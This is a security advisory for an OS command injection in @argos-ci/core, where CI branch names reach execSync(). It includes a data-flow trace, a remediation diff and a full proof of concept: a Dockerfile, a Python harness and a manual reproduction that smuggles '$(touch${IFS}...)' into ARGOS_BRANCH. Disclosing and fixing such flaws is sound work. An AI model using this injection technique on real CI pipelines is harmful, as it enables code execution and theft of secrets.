Summary
@argos-ci/core: CI Branch Name OS Command Injection
CI Branch Name OS Command Injection in @argos-ci/core
@argos-ci/[email protected] passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).
Details
The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:
function gitFetch(input: { ref: string; depth: number; target: string }) {
execSync(
`git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
);
}
execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.
A secondary sink exists at packages/core/src/ci-environment/git.ts:67:
execSync(`git merge-base ${input.head} ${input.base}`)
Complete data flow (source → sink):
packages/core/src/ci-environment/services/github-actions.ts:104, readsenv.GITHUB_HEAD_REFwithout validation (source).packages/core/src/ci-environment/services/github-actions.ts:165, returns the branch from the CI context.packages/core/src/ci-environment/services/github-actions.ts:330, stores the value asbranch.packages/core/src/config.ts:119-123, loadsciEnv?.branchintoconfig.branch; onlyformat: Stringis applied, no sanitization.packages/core/src/upload.ts:285, callsgetMergeBaseCommitSha({ base, head: config.branch })when the API returnshasRemoteContentAccess: false.packages/core/src/ci-environment/git.ts:123, passes attacker-controlled value asreftogitFetch().packages/core/src/ci-environment/git.ts:89, sink:execSync(git fetch ... origin ${input.ref}:${input.target}).
There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.
Recommended remediation, replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:
-import { execSync } from "node:child_process";
+import { execFileSync, execSync } from "node:child_process";
function gitFetch(input: { ref: string; depth: number; target: string }) {
- execSync(
- `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
- );
+ execFileSync("git", [
+ "fetch", "--force", "--update-head-ok",
+ "--depth", String(input.depth),
+ "origin", `${input.ref}:${input.target}`,
+ ]);
}
function gitMergeBase(input: { base: string; head: string }) {
- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+ return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
}
PoC
Prerequisites:
- Docker installed on the test machine.
- Internet access to pull
node:22and install@argos-ci/[email protected]from npm.
Step 1, Build the Docker image:
docker build -t argos-vuln-001 \
-f /path/to/vuln-001/Dockerfile \
/path/to/reports/npmAI_634_argos-ci__argos-javascript/
The Dockerfile:
- Uses
node:22as the base. - Creates a local bare git repository at
/remote.gitand a working repository at/git-workspacewith that bare repo asorigin, sogit fetchhas a reachable remote. - Installs
@argos-ci/[email protected](which depends on@argos-ci/[email protected]) globally from the public npm registry. - Copies
poc.pyas the container entrypoint.
Step 2, Run the container:
docker run --rm argos-vuln-001
What the PoC (poc.py) does:
- Starts a local HTTP mock server on
127.0.0.1:7777that returns{"hasRemoteContentAccess": false}forGET /v2/project, activating thegetMergeBaseCommitSha()code path. - Sets
ARGOS_BRANCHtomain$(touch${IFS}/tmp/argos-ci-cve-poc).$(...)is shell command substitution.${IFS}expands to a space character, bypassing naive space-based filters, making the injected commandtouch /tmp/argos-ci-cve-poc.
- Runs
argos upload <empty-dir> --files '*.png'with the malicious environment. - Checks for the marker file
/tmp/argos-ci-cve-poc.
Expected output:
============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS_BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================
The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.
Manual reproduction (without Docker):
mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git
# Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
if (req.url === '/v2/project') {
res.writeHead(200, {'content-type':'application/json'});
res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
return;
}
res.writeHead(200, {'content-type':'application/json'});
res.end('{}');
}).listen(7777);
" &
mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
npx -y @argos-ci/[email protected] upload empty --files '*.png' || true
test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"
Reproduction artifacts
Dockerfile
FROM node:22
# Install git and Python 3
RUN apt-get update && \
apt-get install -y --no-install-recommends git python3 && \
rm -rf /var/lib/apt/lists/*
# Configure git identity for commits inside the container
RUN git config --global user.email "[email protected]" && \
git config --global user.name "PoC Test" && \
git config --global init.defaultBranch main
# Create a local bare repository that acts as the "origin" remote.
# This lets git fetch succeed (reaching a real remote is not required for the
# injection -- the shell expands $() before git connects -- but a working
# remote means getMergeBaseCommitSha() returns a real SHA and the full
# upload code-path is exercised without extra noise from git errors.)
RUN git init --bare /remote.git
# Create the working repository with the bare repo as origin
RUN git init /git-workspace && \
cd /git-workspace && \
git remote add origin /remote.git && \
echo "initial" > README.md && \
git add README.md && \
git commit -m "Initial commit" && \
git branch -M main && \
git push -u origin main
# Copy the cloned repository source for reference / source evidence.
# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.
COPY repo /argos-repo
# Install the vulnerable @argos-ci/[email protected] (depends on @argos-ci/[email protected])
# from the public npm registry -- same version as the cloned repository.
RUN npm install -g @argos-ci/[email protected] --loglevel=warn
# Copy the Python PoC script
COPY vuln-001/poc.py /poc.py
# Run from inside the git workspace so that git commands find the correct repo
WORKDIR /git-workspace
ENTRYPOINT ["python3", "/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001 -- OS Command Injection in @argos-ci/[email protected]
Vulnerability: CWE-78 (OS Command Injection)
Affected file: packages/core/src/ci-environment/git.ts:87-90
The gitFetch() function passes user-controlled ref strings directly into an
execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so
shell metacharacters in the string -- including $() command substitution --
are evaluated before git runs.
Attack chain (source -> sink):
env.GITHUB_HEAD_REF / ARGOS_BRANCH
-> config.ts:119-122 (String cast, no sanitisation)
-> upload.ts:285 getMergeBaseCommitSha({ head: config.branch })
-> git.ts:123 gitFetch({ ref: input.head, ... })
-> git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`)
^^^^^^^^ shell injection sink
This script:
1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value
containing a $() command substitution.
3. Checks for a filesystem artefact that proves execution.
"""
import json
import os
import subprocess
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
# File created by the injected command -- its existence proves execution.
MARKER_FILE = "/tmp/argos-ci-cve-poc"
# Port for the mock Argos API server.
MOCK_PORT = 7777
class MockArgosAPI(BaseHTTPRequestHandler):
"""Minimal mock of the Argos REST API.
Only two responses matter:
- GET /v2/project -- must return hasRemoteContentAccess=false to trigger
the git-based merge-base discovery code-path.
- POST /v2/builds -- needs to return a recognisable structure so the SDK
does not abort before we can observe the side-effect.
"""
def log_message(self, fmt, *args):
# Suppress per-request log noise; PoC progress messages are enough.
pass
def _send_json(self, status: int, body: dict) -> None:
raw = json.dumps(body).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(raw)))
self.end_headers()
self.wfile.write(raw)
def do_GET(self):
if self.path.rstrip("/") == "/v2/project":
# hasRemoteContentAccess=false is the precondition that makes the
# SDK call getMergeBaseCommitSha() instead of fetching from the
# Git provider API. This is the key to reaching the sink.
self._send_json(200, {
"id": "proj-1",
"defaultBaseBranch": "main",
"hasRemoteContentAccess": False,
})
else:
self._send_json(200, {})
def do_POST(self):
# Drain request body to keep the connection clean.
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
if "/builds" in self.path:
# Return the minimal structure the SDK dereferences after POST /builds.
self._send_json(201, {
"id": "build-1",
"url": "http://localhost/build/1",
"screenshots": [],
"pwTraces": [],
})
else:
self._send_json(200, {})
def do_PUT(self):
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
self._send_json(200, {})
def start_mock_server() -> HTTPServer:
server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
def main():
print("[*] VULN-001 PoC -- @argos-ci/[email protected] OS Command Injection")
print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
print()
# Remove any stale marker from a previous run.
if os.path.exists(MARKER_FILE):
os.remove(MARKER_FILE)
# Start the mock Argos API.
server = start_mock_server()
print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}")
# Build the malicious branch name.
# Breakdown:
# main -- valid branch prefix so git ref looks plausible
# $(...) -- shell command substitution, evaluated by /bin/sh
# touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
# filters and forming "touch <path>"
malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})"
print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}")
print(f"[*] Expected shell expansion: touch {MARKER_FILE}")
print()
# Empty upload directory -- no real screenshots needed. The injection
# occurs during merge-base discovery before any upload loop runs.
upload_dir = "/tmp/argos-empty-upload"
os.makedirs(upload_dir, exist_ok=True)
env = dict(os.environ)
env.update({
"ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/",
"ARGOS_TOKEN": "a" * 40,
"ARGOS_COMMIT": "0" * 40,
"ARGOS_BRANCH": malicious_branch,
# Disable update-notifier noise inside the CLI.
"NO_UPDATE_NOTIFIER": "1",
})
print("[*] Running: argos upload <empty-dir> --files '*.png'")
result = subprocess.run(
["argos", "upload", upload_dir, "--files", "*.png"],
env=env,
capture_output=True,
text=True,
# CWD must be a git repository with an 'origin' remote so that
# git fetch has a valid context. /git-workspace is prepared in the
# Dockerfile for this purpose.
cwd="/git-workspace",
)
print(f"[*] CLI exit code : {result.returncode}")
if result.stdout.strip():
print(f"[*] CLI stdout : {result.stdout.strip()[:600]}")
if result.stderr.strip():
print(f"[*] CLI stderr : {result.stderr.strip()[:600]}")
server.shutdown()
print()
# --- Verdict ---
if os.path.exists(MARKER_FILE):
print("=" * 60)
print("[PASS] VULNERABILITY CONFIRMED")
print(f"[PASS] Marker file exists: {MARKER_FILE}")
print("[PASS] The shell command injected via ARGOS_BRANCH was executed")
print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
print("=" * 60)
sys.exit(0)
else:
print("=" * 60)
print("[FAIL] Marker file not found -- injection did not trigger.")
print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
print("=" * 60)
sys.exit(1)
if __name__ == "__main__":
main()
Impact
This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos, for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable, can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.
Who is impacted:
- Any organization using
@argos-ci/core(or the CLI@argos-ci/cli) in a CI pipeline where the project's Argos configuration hashasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users. - The risk is highest in
pull_request_targetor other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks. - Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
CVE-2026-59960 has a CVSS score of 7.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.2.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-59960? CVE-2026-59960 is a high-severity OS command injection vulnerability in @argos-ci/core (npm), affecting versions <= 6.2.0. It is fixed in 6.2.1. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is CVE-2026-59960? CVE-2026-59960 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @argos-ci/core are affected by CVE-2026-59960? @argos-ci/core (npm) versions <= 6.2.0 is affected.
- Is there a fix for CVE-2026-59960? Yes. CVE-2026-59960 is fixed in 6.2.1. Upgrade to this version or later.
- Is CVE-2026-59960 exploitable, and should I be worried? Whether CVE-2026-59960 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-59960 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-59960? Upgrade
@argos-ci/coreto 6.2.1 or later.